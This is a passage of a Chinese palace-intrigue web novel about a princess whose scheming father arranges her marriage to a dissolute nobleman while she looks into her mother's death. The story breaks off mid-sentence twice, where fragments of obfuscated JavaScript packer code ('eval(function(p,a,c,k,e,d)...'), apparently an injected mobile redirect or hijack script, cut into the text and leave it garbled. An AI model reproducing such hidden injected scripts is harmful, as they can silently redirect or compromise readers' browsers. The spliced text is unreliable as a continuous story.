“那就随他去吧,我们已经仁至义尽了。”房里,一个低沉嘶哑的声音道。 “殿下,近日昭平公主风头正盛,办个诗会也要大张旗鼓,民间如今疯传什么凤栖梧桐、庭生玉树的谣言,实在是不堪入耳,一个女子如此抛头露面,恐心怀不轨,殿下要早作防范啊。” 杜修闻咳嗽几声,清了清嗓子,还是压不住喉头的痒意,声音也嘶哑难听,连忙给自己倒了一杯水,饮了几口,才没有继续失态。 “一个小丫头片子,能翻起什么大风大浪来?”当朝太子宋庭璟歪在酸枝榻上,手里拿着一块上好的玉如意,对着日光细细观看,把玩不止。 杜修闻看他这不着调的样子,长叹一口气道:“牝鸡司晨、扰乱社稷,古已有之,昭平公主连连在陛下身体不适时进宫侍疾,如今陛下不仅允她进御书房听证议事,还将奏折都交予她批阅,殿下,她这是司马昭之心啊。” 宋庭璟把玩玉器的手微微一顿,半晌又蛮不在乎地笑道:“不过是一介女流,父皇也就是看她新鲜,二十年没见的父女,能有什么深厚的感情?不出几日,父皇就厌了。” 杜修闻抚了抚长髯,沉思片刻,道:“殿下说得有理,只不过毕竟是皇室中人,也需早做防备为妙。昭平公主年纪不小,之前陛下给定下的婚事不了了之,不如我们提议给她找一个人家,日后有了夫婿,自然不会再想这些事情。” 宋庭璟起身抚掌大笑:“好主意,这倒是个好主意,之后相夫教子、侍奉公婆,自有事情给她做,只是要找个合适的人家,不能势力太大的,不好说话的,让她困于内宅之中,再也不能搞什么劳什子诗会。” 杜修闻点点头:“殿下所言甚是,此时宜早不宜迟,昭平公主如今在王都得影响越来越大,还需尽快完成此事。” 宋庭璟在房间里踱来踱去,脸上满是给别人找不痛快的快意:“先生快想,定下人选孤就进宫去请父皇下旨。孤这个妹妹没有母妃,婚事岂不是要孤这个做兄长的为她早早打算!届时,孤可要好好喝上一杯这个好妹妹的喜酒了!” 自从入了夏,御花园的花花草草按捺不住,早已开得争奇斗艳。尤其是淑妃宫里的早荷,经过匠人的精心养护,今年早早地打了花苞、吐了新蕊。景元帝的后宫虽然不缺新人,但后位却一直空悬,协理六宫之权一向由颖贵妃独揽。只是颖贵妃虽常年得宠,却为人低调,并不在后宫嫔妃面前逞威风,反而和蔼有加,从不苛待下人,因此,后宫诸位嫔妃日子过得倒也和睦。 只是,每日的请安之事,却是不能免的。只是近些日子,颖贵妃称病闭门不出,熙宁宫的大门关闭了几日,低调得像是后宫没有这个人似的。 淑妃“咔嚓”一身剪断了手中荷花的长茎,将修剪好的花一一插在花瓶里,左右看了看,欣赏片刻,不经意地问:“今日熙宁宫还是不开门吗?” 宫女答道:“回娘娘,今日一早芷蓉姑姑来传了话,贵妃娘娘病了,早上就免了大家的请安。” 淑妃冷冷一笑,嗤道:“病了?动不动称病不见人,陛下一去病就全好了,哼,究竟是真的身子不适,还是心病呢。”她挥挥手,让人将花瓶摆在书桌前。 荷花散发出淡淡的清香,淑妃的名字里有一个“荷”字,有人曾说她的名字很好,清远高洁,可她不喜欢高洁,在这皇宫里孤高自赏是不会有好日子过的,再清丽的荷花,也要长到那污泥里面去,狠狠地、深深地扎下根去,才能开得浓艳、开的长久。 所以她赢了。海棠早早凋谢了,如今的后宫里没有一棵海棠。可御花园里满池的荷花已经早早绽放,层层叠叠,引得皇帝整日流连忘返,召集宫廷画师画个不停。 她不会让自己像那个女人一样,早早死在这重重宫墙里。 她望着竞相争艳的荷花出神,直到侍女的惊呼打破了她的平静。 “娘娘,娘娘不好了!” 淑妃一惊,起身斥道:“慌慌张张的,像什么样子!” 侍女顾不得请罪,嚷嚷道:“陛下今早下了旨给昭平公主赐婚了,赐的是颖贵妃家的侄儿,曹文益!” “你说什么?” 淑妃手一抖,茶杯没拿稳,“啪”地掉在地上,今年新进的龙井茶叶飞溅一地,溅在她身上穿的这件最喜爱的衣裙上。 她猛地站起身,双手钳住传信宫女的肩头,厉声问:“你再说一遍,陛下下了什么旨?” 侍女虽身在深宫,可也听说过曹文益的大名急得要哭出来似的,又被淑妃脸上骇人的神色惊了一跳,跪在地上战战兢兢道:“回娘娘的话,陛下下旨,命昭平公主与曹家二公子择日完婚。” “昭平公主才德兼行,正值佳岁。承安侯之子曹文益,名门绅宦之后,博学明达,正合公主下降。明钦天监择吉日备典完婚。” 宋庭玉面无表情地在地上一拜,伸手接过圣旨。 传旨的小公公年龄不大,不知其中关窍,满脸堆笑着,本想说几句吉祥话讨个好彩头,一看宋庭玉表情不对,立时收了脸上的笑意,心道:怪不得他们都不愿意来传旨,非要我来,我就知道,好差事哪里轮得到我! 他战战兢兢低着头,想起宋庭玉当街鞭打孙家公子的事迹,心头一紧,满脸晦气地想:奴才只是一个传旨太监,昭平公主心里若有什么不痛快可千万比朝奴才撒气啊。 他们这种小内侍在皇宫里一向受人欺凌,命运都掌握在主子们的手里,平日在宫里被高一层的太监们呼来喝去,传个消息、跑个腿,若是遇到主子们心情好还能得些赏赐,可大多数时候,有好事不会轮到他们,大太监自己就去了。今日也是,他的顶头上司一听是往昭平公主府传的旨,又听说贵妃娘娘得到消息摔碎了一个杯子,当即不敢自己来,他倒霉,刚被调到这里不久,只好硬着头皮来传旨。若是早知道圣旨里是这么个消息,他就……唉,他能怎么样呢? 小太监战战兢兢弓着身子等了片刻,没听着宋庭玉说话,壮着胆子微微一抬眼,见宋庭玉已经拿着圣旨走了,立时松了一口气。没挨骂已经是好的了。他直起身子,正准备离开,昭平公主身边的大宫女就叫住了他:“公公留步。” 小太监一惊,心下打鼓,面上却不显,脸上堆笑,转身道:“姑娘还有什么事吗?” 忍冬淡淡一笑,将手中准备好的红封递给他:“公主府离着宫里远,公公跑这一趟辛苦,喝些茶吧。” 小太监又惊又喜,没想到还有这样峰回路转的事,接过红封,朝宋庭玉的方向行了个礼,连声道:“多谢殿下,多谢殿下。” 忍冬让人送小太监出去,自己进了后院。院子里,宋庭玉半躺在一张摇椅上,晃晃悠悠,很是清闲,那张明黄色的圣旨被她随意扔在一边的茶桌上,风一吹,圣旨掉落在地上,滚了几圈。 忍冬有些看不过眼,上前捡起圣旨,低声道:“公主怎么也不着急,奴婢都要急死了。” 宋庭玉懒懒道:“虱子多了不痒,急什么,一件一件来呗。”她怀里抱着刚吃饱睡醒的小狸花猫,伸着修长的手指逗弄着猫儿的下巴,引着它扑咬自己的手指。 这些日子宋庭玉一直是这样怠懒的状态。敬慈夫人神志清醒之后,对那日的事情倒是记得一清二楚,不知道她想了什么,是否对宋庭玉有一点点的额歉意,总之前日派了嬷嬷传话,她年龄大了,实在是不喜欢王都的生活,所以趁着入夏,要回老家苏州去。宋庭玉接到信时敬慈夫人的马车已经启程了,她看着人去楼空的元帅府,感到前所未有的悲凉和寒心。 自那之后,宋庭玉仿佛失了心力,对什么事都是一副无所谓的样子。公事堆到一边,整日流连在林徵鸣的院子里,不是听曲儿就是喝茶,要不就是和他一起给小狸猫做房子,唯有那时才能露出点笑意。 忍冬担忧道:“之前同孙见章的婚事,毕竟陛下没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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颖贵妃曹曦月出身寒微,父亲只是王都一个普通员外郎,没有实职在身。曹曦月当年入宫时只是御花园的宫女,因长相貌美被景元帝看中才一朝临幸,后来才一路高升得封贵妃,因着贵妃出身不能太低,景元帝才封他父亲一个虚爵:承安侯,没有俸禄更没有实权,不过听起来好听罢了。 颖贵妃的弟弟曹文益景元帝是听过的,文不成武不就,一个游手好闲的公子哥,和宋庭玉倒是般配,日后成了亲,宋庭玉就能一门心思放在约束她的驸马上,最好驸马有些风流韵事,让宋庭玉疲于脂粉斗争之中,是最好不过了。 景元帝越想越觉得自己这门亲事做得极好,更是不容半点反对,肃声道:“昭平公主乃元夏的公主,下嫁给你侄儿,这是满门的荣耀之事,贵妃不必再推辞。” 颖贵妃心下恨恨:你这会儿想起宋庭玉是元夏公主来了?早十八年做什么去了? 她面上一片惶恐,再次拜倒,泣声道:“臣妾腆受陛下恩宠,臣妾母家亦得封侯爵,已是无上的恩宠,怎敢肖想再同陛下作儿女亲家。侄儿曹文益年少不知事,性情顽劣,无才无德,配不上公主殿下。恳请陛下收回成命吧。” 景元帝不耐:“朕意已决,无需多言。贵妃无事,便回去吧。” 颖贵妃抬起头,见四下无人,李介早已被皇帝打发守在外面,这才向前膝行几步,低声道:“陛下,臣妾不敢求娶公主进曹家,曹文益绝非公主良配,臣妾怕……怕……” 她踌躇片刻,一咬牙狠声道:“臣妾怕贞妃姐姐午夜入梦,向臣妾索命!” “放肆!” 景元帝一脚踹在颖贵妃的肩头,将她踹翻在地,起身撵上几步,一把抓住她的领子,将她从地上拎起来,狠狠道:“你说什么?你给朕想清楚!” 颖贵妃早已被景元帝这副癫狂的样子吓得不敢出声,她看着景元帝,他的脸色涨红,一双眼睛凌厉地盯着她,目眦尽裂,那种夹杂着愤怒、痛恨、恶毒的眼神让她想起山林里的某种野兽,他的手死死地揪住她的衣领,越收越紧,让她感到呼吸有几分不畅,她不敢喘气,也不敢再流泪,怔怔地看着眼前的男人,这个她同床共枕近二十年的男人,在这一刻让她感到极其陌生,又极其恐惧,她从他盛怒之下的眼睛里清晰地看到了杀意,这种杀意在十八年前她也曾看到过,她曾经是那样害怕自己下一秒就要和贞妃一样无声无息、不明不白地死在这座皇宫里,只是这是十八年黄粱一梦似的日子让她忘记了这种熟悉的恐惧,而现在,梦醒了。 景元帝同她贴得极近,在她耳边喘息片刻,像是要极力压下喷薄而出的愤怒,他低声道:“给朕回你的熙宁宫,老实待着,再多话,你和她就是一样的下场!” 说罢,他猛地放开她的衣领,颖贵妃脚下一软,狠狠跌在地上。 景元帝厌恶地看了她一眼,扬声道:“颖贵妃曹曦月,御前失仪,行事有损皇家颜面,褫夺封号,贬为六品宝林,即日起禁足熙宁宫。曹宝林,你给朕好好反省!” 曹曦月愣愣地坐在地上,半晌才惊觉自己又一次死里逃生。 20. 淑妃 领了圣旨,便要进宫谢恩。第二日,宋庭玉换上一身鲜艳的宫装,乘着马车进了宫。只是不同的是,此番进宫谢恩没有了景元帝的特许,不能在乘坐轿辇入宫,只好在宫门外下了马车步行。带路的小太监是李介派来的,早早在宫外等候,见了她心头惴惴,生怕她失了圣心、撒气在他们这些奴才身上。没想到她却十分平静,仿佛步行至御书房是很惯常的事情,小太监一边带路、一边心里嘀咕:这位殿下,还真是与宫里的其他人不一样。 暑热的天气,皇宫里的红墙碧瓦仿佛在不断吸收烈日的热量,让皇宫变成了一个巨大的蒸笼。穿行其中只觉暑热难耐,透不过气来。宽阔平直的宫道安静极了,四四方方的天空不见一只飞鸟。明明是夏日,却连一只蝉鸣的声音都听不到。路上偶尔遇见一队步履匆匆的宫人,也都是轻手轻脚,快速通行,因着周围太过安静,衣料摩擦的声音在此刻格外清晰。 宋庭玉偏头看去,注意到这些宫人的脚底同寻常的鞋子不太一样,好像是多垫了几层棉花,厚厚的棉花吸收了一切多余的声音,让他们本就经过训练的脚步声都变得无声无息。 宋庭玉心下冷笑:心里有鬼,故弄玄虚。 今日不是朝会的日子,按理说景元帝应该在御书房批阅奏折。宋庭玉走到门前,却见李介已经在门前等候,脸上堆笑,歉意道:“殿下,今日实在是不巧,钦天监算得了好时辰,陛下已经闭关问道了,不见任何人。劳烦殿下跑这一趟。陛下说了,殿下孝心拳拳,如今喜得佳婿,定要进宫谢恩,命奴才早早在此等候,将这支金钗交给殿下。”李介双手捧出一个盒子,恭敬奉上。 宋庭玉抬起眼睛扫他一眼,接过盒子,漫不经心地看了看,正要打开,就听李介道:“殿下小心,这里头装的,是先贞妃娘娘的遗物。” 宋庭玉皱眉看他,眼神突然变得凌厉:“母妃的东西?” 她细细端详着盒子片刻,突然打开,一支流光溢彩的凤钗静静地躺在盒子里,金凤眼睛是十分罕见的琉璃珊瑚,尾巴上是掐丝珐琅,尾羽根根分明,在阳光下栩栩如生。 宋庭玉细细思索,确定自己没有见过这只金钗。那厢,李介笑得十分谄媚:“这是先贞妃娘娘入宫之日陛下赏赐的凤钗,陛下对娘娘一见如故,特命内务院打造了这精致贵重的凤钗,谁知娘娘竟……如今殿下喜得郎君,陛下特意命人找了出来,愿殿下日后团圆美满。”一边说,一边躬身行礼,仿佛他真的在说什么吉祥话,恭喜一对情投意合的新人似的。 宋庭玉顿了片刻,半晌,才虚扶了他一把,淡淡笑道:“辛苦公公。既然父皇已经闭关,本就就不多打扰了,劳烦公公替本宫向父皇谢恩,就说本宫一定会好好珍惜这御赐的姻缘。” “哎,好好好!”李介笑得见牙不见眼,目送宋庭玉转身向宫外走去,才舒了一口气,转身进屋。 屋里燃着浅浅的沉水香,景元帝盘腿坐在御书房后堂正中央的一个蒲团上,听到脚步声,缓缓睁开眼睛,问:“已经送出去了?” “回陛下,送出去了。” “她怎么说?” 李介回想了一下宋庭玉的表情,那很难称得上的真心实意的高兴,也难怪,颖贵妃的这个侄儿在王都得一群纨绔子弟中都是翘楚,无论是谁得了这么一个夫婿,都不会开心的。昭平公主以后的日子,怕是有的操心了! 他低眉敛目:“殿下收了金钗,十分欢喜,让奴才替她向陛下谢恩呢。” 景元帝声音低沉地“嗯”了一声,对自己的安排、以及宋庭玉的识相十分满意。“那金钗是她母妃在世时戴过的,朕保留了近二十年,如今交到她的手上,想必即便是沅娘在世,也说不出什么责怪朕的话了。朕对这个女儿,也算是尽了心了。” “陛下圣明。” 宋庭玉已经走远,听不见景元帝洋洋自得的话,不然一定要拊掌赞叹果真是做惯皇帝的,如此行径都有人在一边捧场。 正想着,就见一队小太监推着车匆匆走来,车上装着几个大桶。一个小太监在前面拉车,两三个在后面推,拉车的那个看着颇为吃力,涨红了脸,后面几个推车的推得有些漫不经心,几人见到宋庭玉,远远停下来跪地行礼。后面那几个人停下得突然,拉车的那个一时没防备,脚下趔趄,差点摔倒在地,正欲回头看个究竟,不料竟看到公主殿下独自一人往这边行来,赶忙跪下行礼。 宋庭玉见那个拉车的小太监有点眼熟,停下来低头问;“本宫看着你颇为面善,昨日去公主府传旨的就是你吧。” 跪在地上的小太监没想到宋庭玉还记得他,激动不已,在地上磕了个头,忙回道:"正是奴才,不过替主子们跑了一趟腿,多谢殿下赏赐。” 宋庭玉看他年纪不大,却十分瘦弱,脸色涨得通红,额前汗水淋漓,又想到他那日前来传旨,战战兢兢、很是不习惯的样子,心下了然,淡笑道:“你这小太监倒是十分机灵,叫什么名字?” 小太监低垂着头:“回殿下,奴才微寒,没有名字,师父叫奴才小六子。” 宋庭玉摇了摇头:“你回话十分得宜,伶牙俐齿,讨人欢喜,不如以后就叫敏喜吧。日后本宫若是进宫,就由你来伺候。” 敏喜一时没有反应过来,等回过神时,才意识到自己身上降临了什么天大的好事,眼里含着泪,向宋庭玉深深一拜,哽咽道:“谢殿下。”他年龄小,又不得师父喜欢,在这深宫之中寒微得如同草芥,及时被人欺负了也不敢出声,此番得了昭平公主抬举,想必日后会好过一些。 宋庭玉扫了他们身后一眼:“起来回话,这是做什么呢?” 几个小太监站起身,敏喜吸了吸鼻子,回道:“荷花池里的花开了,师父命我们将池底的淤泥清一清。” 宋庭玉这才注意到他们几人衣摆处、袖口都是黑色的泥,点点头道:“去吧。” 几个小太监躬身行礼退下,敏喜低下身子,要接着拉车,身后一个年长的太监拍了拍他的肩头,满脸堆笑:“没想到你这个小东西也能入了殿下的青眼。得了,换着来吧,你去后面推,你过来拉车。”他指着后面一个小太监道。 敏喜展开袖子擦了擦额头的汗,仰头望着火红的烈日,只觉得心里头仿佛也被这太阳照亮了。 宋庭玉沿着宫中小道往御花园走,果然看见好几个宫人在清理御花园荷花池的淤泥,那些人或站在池边,或撑着一艘小木船,手里拿着网兜,将池底的黑泥、开败的枝叶一一打捞上来。在宫里生活的很多记忆其实已经模糊,两岁那年春芜苑的一场大火不仅夺走了贞妃,也让宋庭玉关于幼时的大部分回忆在大火中被烧得一干二净。这这些年她冥思苦想,试图从残损的回忆中打捞一些有关过去和那场大火的线索,却只是徒劳。不过,这些日子,她在睡梦中隐隐约约听人念过的那首诗却是愈加深刻,在一中模模糊糊的记忆里尤为清晰,以至于她自己都有些恍惚:这究竟是真实的记忆,还是她自己的臆想? “燕儿过南山,四五成一行,北口垂柳处,老翁看天忙。” 贞妃才情出众,诗词歌赋样样精通,如果这真的是贞妃所做,那么这样含义粗陋的文字断不可能是一首单纯的诗,那么,母亲究竟是想表达什么意思呢? 她边思索,边信步往前走,也许是幼时的记忆虽然没有以重现的方式出现在脑海里,而是已经深入灵魂、嵌进了每一个习惯的神态与动作,不知不觉,她就走到了旧时春芜苑所在的地方。 春庭欲晚,芜色青青,曾经掩映在丛丛海棠中的春芜苑在一场大火里化作废墟,而时过经年,连废墟都堙灭在了时光里,如今绿树中的红墙黄瓦消失不见,被一汪清澈的池水浇灭了过往,碧波荡漾,波上几尾红鲤鱼游曳而过,彻底让旧年的传闻与血色消失在水流潺潺间。 “物是人非,如今只剩这一池鲤鱼了。” 宋庭玉回过头,一个粉裳粉裙的女子出现在她身后,身量不高却极为匀称,一身淡粉映花袄裙,银丝在上面上勾勒出朵朵娇艳欲滴的荷花。未施粉黛却面容清秀,未饰珠钗然芳华自盛,缎子似的长发在脑后挽成一个歪歪的发髻,清丽得宛如一朵开得正盛的荷花。 女子面带笑容地看着她,宋庭玉微微皱眉,感觉她有几分眼熟,应该是母亲在世时就已经进宫的妃嫔,她凝神思索,突然眼前一亮: “宛姨娘?” 女子绽出一个浅浅的笑来,此时宋庭玉才注意到她眼角已经有了淡淡的细纹,确实是曾经的宛姨娘。 淑妃陈宛华,一个游方郎中的女儿,景元帝微服私访时对她一见倾心,力排众议将人接进宫,却因身份低微只封了个位分最低的采女。无依无靠却受盛宠,这在波谲云诡的后宫之中犹如怀揣宝物却不能保护的孩童,无上荣宠对她来说只能引来杀身之祸。在她惊惶不安的日子里,正是贞妃给了她庇护,所以彼时年龄不大的她将贞妃视作依靠,常常来春芜苑。 宋庭玉已然记得那时她曾亲切地将自己抱在膝头,温升软语地哄,举手投足之间,淡淡荷香盈满袖。 “如今是淑妃娘娘了。”宋庭玉行了个宫廷礼,却被陈宛华伸手拦住。 “我们娘俩之间不讲究这个。你许久不进后宫了,快进来坐坐。” 宋庭玉顺从地跟在她后面,这才发现原来淑妃的住处就在春芜苑旁边,一座并不起眼的宫殿里,上书“芳荷殿”三个大字,是景元帝的笔迹。她心生疑惑:淑妃乃后宫四妃之首,又得景元帝亲笔题字,想来依然是十分受宠的,怎么住在这么偏僻的地方? 两人进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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的确,她这些日子可以称得上的频繁进宫,只是从没想到来母亲从前居住的地方看一眼,还对忽略了自己近二十年的父皇孝顺有加,在与贞妃关系亲近的人眼里,的确是没良心极了。 她苦笑一声,实在不知从何说起。 好在淑妃并没有过分纠结这一点,也许是觉得一个离家许久的女儿,对双亲有孺慕之情,亦是一件很正常的事。 只是苦了沅姐姐。她想,白白丢了姓名,却什么也没留下。如今,又还有几个人记得你呢? 她想起这事就十分伤感,看见宋庭玉也索然无味起来。两人不咸不淡地聊天了几句,淑妃就称自己实在疲倦,要去歇息了。 宋庭玉自然看得出她心头所想,只是她与淑妃长久未见,即使母亲生前与她关系亲近,但是如今事关重大,她也不敢轻易将自己的盘算和盘托出,只得默默不语,担下一切。她咽下口中的茶,方才馨香甜蜜的药茶饮仿佛也带了几分苦涩,半晌,她抬头问:“宛姨娘可有什么事需要我去做的?我记得那时候您喜欢宫外顺和记的点心,不如我买了给您带进宫来?” 淑妃打理荷花的手一顿,轻笑道:“玉儿有心了,只是顺和记的点心太甜,如今我年纪大了,吃不得太甜的东西。” 宋庭玉讪讪笑了笑。 半晌,淑妃突然道:“玉儿若是有心,替我送一封信吧。” “宛姨娘您说,我定然送到。” 淑妃犹豫片刻,终于起身进了内殿,不一会儿手里拿着一个浅色的信封出来,递给宋庭玉,伤感道:“我出身寒微,不像其他其他后妃的娘家亲人可以时不时进宫探望,自入宫以来,我已有近二十年未见我的父亲。”她看着宋庭玉,叹了口气,苦笑道:“父亲是行走江湖的有方郎中,上回来信已是半年前,那时他说要去荡州看看,之后便杳无音讯。你若是……”她突然停了下了,似乎有些难以启齿。 宋庭玉连忙接过她手中的信,点点头保证道:“我在宫外,行事总比宛姨娘方便许多,您放心,我一定派人找到,将信件亲自送到。” 淑妃郑重点了点头,要行礼,却被宋庭玉拦下。她一双手贴着宋庭玉的掌心,紧密地握着,软声道:“麻烦你了。” 宋庭玉摇了摇头。 两人许久未见,彼此之间又难免有龃龉,终是闲话叙尽。宋庭玉起身,就要行礼作别,突然感到有一只手轻轻摸了摸自己的脸颊,一个柔和的温度在自己眼尾的红痣上停留片刻,转瞬即逝,仿佛没有存在过。 她顿了顿,仿佛什么都没有发生过似的,点点头告辞。 身后淑妃突然道:“玉儿,不要同曹曦月走得太近。” “什么?”宋庭玉像是没听明白,悚然回头,直愣愣地看着他。 淑妃却像什么都没有说过一样,径自起身,往后殿歇息去了。 宋庭玉如梦初醒一般,出了大殿,若有所思。 21. 露出马脚 第二日清早,宋庭玉将信纸用蜡封好,交给静待一旁的黑衣护卫,叮嘱道:“陈先生临走前说要去漠北的荡州,如今已过去大半年,不知道他还在不在那里,荡州离鄂州不远,你们多找找,他看了信应当愿意回京一趟,到时你们将他一起带回来。” 威远大将军宁思清常年驻守西北鄂州,宋庭玉年少时与这位舅舅关系亲密、如同父女,只是长大之后,宁思沅常年在外,很难回王都一趟,再加上宋庭玉与敬慈夫人的关系日渐紧张,渐渐地,与这位舅舅也少有往来了,只不过是逢年过节有节礼互赠。 她叹了口气,自己如今亲缘淡薄,也是没办法的事情。 如今敬慈夫人离京,宋庭玉总要将此事向宁思沅知会一声的,除此之外,就是派人去荡州,寻找淑妃的父亲陈郎中,还带了一封信给他。日后若有机会,能让父女两个见上一面,就是再好不过的事了。 希望一切顺利吧。宋庭玉想,了却了心头一桩大事,她终于能躺下好好睡一觉了,没想到这一睡,第二天却没能按时起身。 “殿下如何了?” 忍冬一脸焦急。 姜缮摆了摆手,示意几人出去说。 到了前厅,姜缮才摇了摇头,示意几人不必担忧,众人悬着的心刚刚放下,他又道:“殿下的身子没有大碍,只是这几日忧思甚重,又过于劳累所致,只需将养几日。可长久如此劳心费神也不是好事,在下开了温补的方子,劳烦忍冬姑娘一定提醒殿下按时服药,万万不可再像从前一样,有一顿没一顿的,终是不能起作用。” 忍冬心道:那也要殿下听得进去才是啊。想了想,还是答应下来,想着日后若是殿下再不喝药,就让林先生来劝劝她。 宋庭玉一觉睡到了下午,醒来时只觉头脑胀痛,昏沉沉的,身上汗湿,并不舒服,忍冬伺候着她起了身,她批了件单衣,径自坐到凉亭里吹风。 暖风送来一阵淡淡的清香,宋庭玉昨日刚刚在芳荷殿里闻过,此时一下子就反应过来。 “荷花?哪里摘来的?” 她回过头,见林徵鸣抱着一捧新鲜的荷花走进前来,粉色的花瓣上还带着露珠。 “不是摘的,路边看到有人在卖,我见开得正艳,花苞又十分新鲜,就买了几枝,想必是在城外的哪方湖水里摘的。” “今年荷花开得早,初夏的天气,竟已经开得这般艳丽了。你去书房里看看,有个青玉裂冰纹的花瓶,拿来插上。” 自从林徵鸣编纂的《百花诗册》让宋庭玉在景元帝面前大出风头,她就给了他与以往不同的信任,不仅可以自由出入她的书房,每次议事他也无需回避,有时宋庭玉还有问问他的想法。只是林徵鸣志不在此,又实在不喜这一道,故而要不委婉回绝,要不跟风而谈,总之提不出什么有见地的想法,引得宋庭玉手下的“智囊团”对他频频侧目,只有宋庭玉,仿佛意识不到似的,对他总是十分信任。 林徵鸣拿了花瓶出来,见他兴味盎然,将荷花递给她,宋庭玉轻轻嗅了嗅,笑道:“王都的荷花开得早,可若说哪里的荷花开得最盛最艳,还要数淑妃娘娘的宫里。她喜爱荷花,连衣裳上都是荷花的样式,我昨个还看见了呢。” 林徵鸣知道她进宫是为了赐婚一事,他自然听说过曹文益的名声,来王都短短几个月已经与他多有龃龉,只是毕竟是皇帝赐婚,若真的没有转圜的余地……他眼神一暗,盘算着什么。 宋庭玉终于将荷花摆出一个自己觉得好看的造型,放在眼前看了看,又拿远欣赏片刻,满意地笑问:“如何?” 林徵鸣点点头,见她精神头不错,有意引着她多说几句。“淑妃娘娘?我整理后妃诗册时没见过这位娘娘的墨宝。” 宋庭玉一笑:“哪里有什么墨宝,她是个江湖郎中的女儿,小时候只跟着她父亲识了药方,走街串巷的,哪里比得上其他世家小姐识文断字。” 林徵鸣奇怪:“以淑妃娘娘这样的家世,如何能被选入宫中,如今还做了四妃之首?即便是曹宝林那样并非出自世家,可大小也是员外郎之女。” 宋庭玉冷笑道:“这有什么,我那好父皇年少时读多了才子佳人佳期如梦的话本子,偏爱些月上柳梢头、人约黄昏后的艳清故事,微服出巡的帝王对出身寒微的女子一见倾心,从此花前月下、两心相悦,最后迎入宫中皆大欢喜,他这些年给自己安排了不少这样的故事,只是故事中的女子究竟是心甘情愿还是被逼无奈,那就不是一个帝王考虑的事了,毕竟那可是帝王的恩宠。” 林徵鸣听话听音,知道她这样出演嘲讽,一定不仅是因为淑妃的事,恐怕还是与贞妃有关。 一阵微风拂过,送来荷花阵阵清香,宋庭玉深深嗅了几口,沁人心脾,郁结了几日的浊气仿佛也被着清香洗涤干净,只是没防备,忘记自己这几日身子虚弱,喉咙一痒,咳嗽起来。 林徵鸣皱了皱眉,给她倒了一杯水递到嘴边,宋庭玉抬眉看他一眼,又咳嗽几声,才接过茶水饮了几口压下了翻涌的难受。 “怎么了?可是染了风寒?”林徵鸣将她饮尽头的杯子放在桌上,又添了热水,忧心道。 宋庭玉摆摆手:“不妨事,姜太医已经看过,只说是累着了。”提起这个,她眉头一皱,十分不快道:“又开了一堆药汤子,着实令人心烦。” 林徵鸣失笑:“姜太医艺术高超,殿下是该好好调养才是。” 宋庭玉眉眼一动,突然道:“你不是也会医术?你给我看看,能不能不喝药了。” 说着把手一伸,皓腕如雪,透着淡淡的青色。 林徵鸣一顿,摇头笑道:“有姜太医珠玉在前,我岂不是班门弄斧。” “又没有其他人,你就帮我看看吧,若是能将那苦得要命的药汤子改一改,我可要好好谢谢你!”说着,将手腕往他眼前伸了伸,示意他快点。 林徵鸣无奈,只得微微别开头,避开她如烈阳灿烂的眼睛,伸出二指把脉,细细感知片刻,道:“脉浮而紧,风邪入体,的确是气虚不足,需要服用祛风散寒的药,待风寒消散,方可温经暖脉,补养身子。姜太医的方子很是全面,没有能改动的地方。殿下还是好好吃药吧,良药苦口。” 宋庭玉翻了个白眼,正要收回手,就听一个严肃的声音道:“你们在做什么?” 她一惊,被吓了一跳,倏地抽回手,又突然意识到自己又没做什么坏事,到底在心虚什么!不耐转头看去:“谁啊!” 这一看,就看见了板着脸的吴文新,和他身边一脸无语,给自己使眼色的忍冬。 林徵鸣指尖一顿,感受着她手腕上的温度消失不见,带着满袖的香风从鼻尖略过,慢条斯理地收回手,在在桌下轻轻捻了捻。 于是,宋庭玉就看到吴文新的脸色黑得更厉害了。 “先生,您怎么来了?” 她站起身,笑道:“快进房里坐吧,忍冬,先生来了也不叫本宫,你是怎么做事的?愣着干什么,还不看茶?” 吴文新摆摆手道:“不必了,是我叫她不用打扰殿下。听说殿下欠安,我过来看看,一会儿就走了。”说着起身走进凉亭里,目光威严地扫了林徵鸣一眼,看着宋庭玉道:“殿下身子可好些了?” 宋庭玉笑着摇摇头:“都是他们太过紧张了,没有大事的。” 吴文新并不是一个擅长关心别人的人,见宋庭玉气色不错,点点头道:“那就好。我有些事同殿下说。”他明晃晃地看了林徵鸣一眼。 宋庭玉本想拒绝,像往常一样让林徵鸣不必避开,可是他像是突然有了眼色似的,向宋庭玉点点头道:“殿下先聊,今日小厨房准备了殿下爱吃的菜,我去看看如何了。”说着,同吴文新淡淡点了点头,出了凉亭。 吴文新看着他的背影消失在墙角,才不快道:“他平日在殿下府中就是这样没规矩的样子?身为幕僚,就该行止有度,做自己该做的事,怎么管起了殿下的饮食?” 宋庭玉露出一个不自然的笑,其实不是小厨房准备了她爱吃的菜,而是她病中没有胃口,就想吃林徵鸣亲手做的小馄饨,他是给自己做饭去了。 只是这话更不能和吴文新说了。所谓“君子远庖厨”,吴文新是正统的儒生,一言一行十分刻板,若是知道了林徵鸣成了公主私房的厨子,更要挑刺了。 当下笑道:“先生言重了,他平日就住在我这府里,除了一应公事之外,也帮着陈伯操心些府里的事,这样他心里也过得去。” 提起这事,吴文新更是头大如斗。前朝打着养幕僚的名义养男宠的公主比比皆是,只是宋庭玉毕竟年纪轻、还未成婚,就让一个孤身男子住进府里,简直是不成体统,她是不知道这王都城里都是如何议论她的。且就算是宋庭玉自己不在意,可她终究是有担子在身上的人,如何能沉湎男色、钟情享乐之事?这与他一开始的期望大相径庭。 他是这样想的,也是这样说的,只不过用词斟酌了片刻,没有点明,可规劝她不要在色字上栽了跟头的意思,宋庭玉却听明白了,哭笑不得道:“先生这是哪里的话!王都中的流言蜚语传的如此没影儿也就罢了,怎么如今先生也信了这无根无凭的谣言?” 吴文新见她神色坦然,不似作假,皱眉追问道:“当真没有?” 宋庭玉无奈:“当真没有。”心下嘀咕:她还什么都没做呢,就平白担了个沉迷男色的名声,真真是冤枉极了。 